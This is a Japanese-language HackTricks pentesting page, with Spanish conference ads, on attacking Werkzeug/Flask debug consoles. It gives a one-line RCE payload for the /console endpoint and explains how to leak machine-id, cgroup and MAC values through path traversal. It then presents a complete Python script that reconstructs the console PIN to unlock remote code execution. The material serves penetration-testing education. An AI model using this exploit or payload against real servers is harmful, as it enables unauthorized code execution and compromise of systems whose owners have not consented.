hacktricks/network-services-pentesting/pentesting-web/werkzeug.md

11 KiB
Raw Blame History

Werkzeug / Flask デバッグ

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

DragonJAR Security Conference es un evento internacional de ciberseguridad con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.
¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!:

{% embed url="https://www.dragonjarcon.org" %}

Console RCE

デバッグが有効な場合、/console にアクセスして RCE を取得することができます。

__import__('os').popen('whoami').read();

インターネット上には、こちらのようなエクスプロイトやMetasploitのものなど、いくつかの脆弱性が存在します。

ピン保護 - パストラバーサル

場合によっては、/console エンドポイントがピンで保護されていることがあります。ファイルトラバーサルの脆弱性がある場合、そのピンを生成するために必要なすべての情報を漏洩させることができます。

WerkzeugコンソールPINエクスプロイト

最初のリンクからコピー。
アプリ内でデバッグエラーページを強制的に表示することで、Werkzeugの「コンソールロックされました」というメッセージを確認できます。

The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server

脆弱なWerkzeugデバッグコンソールをvulnerable-site.com/consoleのパスで見つけてください。ただし、それは秘密のPIN番号でロックされています。

コンソールPINを生成するアルゴリズムを逆にすることができます。サーバー上のWerkzeugのデバッグ__init__.pyファイルを調査してください。例えば、python3.5/site-packages/werkzeug/debug/__init__.pyです。Werkzeugのソースコードリポジトリを表示して、PINが生成される方法を確認することもできますが、バージョンが異なる可能性があるため、ファイルトラバーサルの脆弱性を介してソースコードを漏洩させる方が良いでしょう。

コンソールPINを悪用するために必要な変数

probably_public_bits = [
username,
modname,
getattr(app, '__name__', getattr(app.__class__, '__name__')),
getattr(mod, '__file__', None),
]

private_bits = [
str(uuid.getnode()),
get_machine_id(),
]

probably_public_bits

  • username はこのFlaskを起動したユーザーです。
  • modname は flask.app です。
  • getattr(app, '__name__', getattr (app .__ class__, '__name__'))Flask です。
  • getattr(mod, '__file__', None) は flaskディレクトリ内の app.py絶対パス です(例:/usr/local/lib/python3.5/dist-packages/flask/app.py)。app.py が機能しない場合は、app.pyc を試してください。

private_bits

  • uuid.getnode() は現在のコンピューターの MACアドレス です。str(uuid.getnode()) はMACアドレスの10進表現です。

  • サーバーのMACアドレスを見つけるには、アプリを提供するために使用されている ネットワークインターフェースがどれかを知る必要があります(例:ens3。不明な場合は、デバイスIDのために /proc/net/arp漏洩 し、その後 /sys/class/net/<device id>/address でMACアドレスを 漏洩 します。

16進アドレスから10進表現に変換するには、Pythonで次のように実行します。

# It was 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
  • get_machine_id()/etc/machine-id または /proc/sys/kernel/random/boot_id値を連結 し、最後のスラッシュ(/)の後の /proc/self/cgroup最初の行 と連結します。
get_machine_id() コード ```python def get_machine_id() -> t.Optional[t.Union[str, bytes]]: global _machine_id

if _machine_id is not None: return _machine_id

def _generate() -> t.Optional[t.Union[str, bytes]]: linux = b""

machine-id is stable across boots, boot_id is not.

for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id": try: with open(filename, "rb") as f: value = f.readline().strip() except OSError: continue

if value: linux += value break

Containers share the same machine id, add some cgroup

information. This is used outside containers too but should be

relatively stable across boots.

try: with open("/proc/self/cgroup", "rb") as f: linux += f.readline().strip().rpartition(b"/")[2] except OSError: pass

if linux: return linux

On OS X, use ioreg to get the computer's serial number.

try:

</details>

すべての変数を準備したら、エクスプロイトスクリプトを実行してWerkzeugコンソールのPINを生成します。
```python
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
'279275995014060',# str(uuid.getnode()),  /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1'# get_machine_id(), /etc/machine-id
]

#h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

{% hint style="success" %} もしWerkzeugの古いバージョンを使用している場合は、ハッシュアルゴリズムをsha1ではなくmd5に変更してみてください。 {% endhint %}

参考文献

DragonJAR Security Conferenceは、コロンビアのボゴタで2023年9月7日から8日まで開催される、国際的なサイバーセキュリティイベントです。このイベントは、スペイン語で最新の研究が発表される高度な技術コンテンツのイベントであり、世界中のハッカーや研究者を惹きつけています。
以下のリンクから今すぐ登録し、この素晴らしいカンファレンスをお見逃しなく!:

{% embed url="https://www.dragonjarcon.org" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥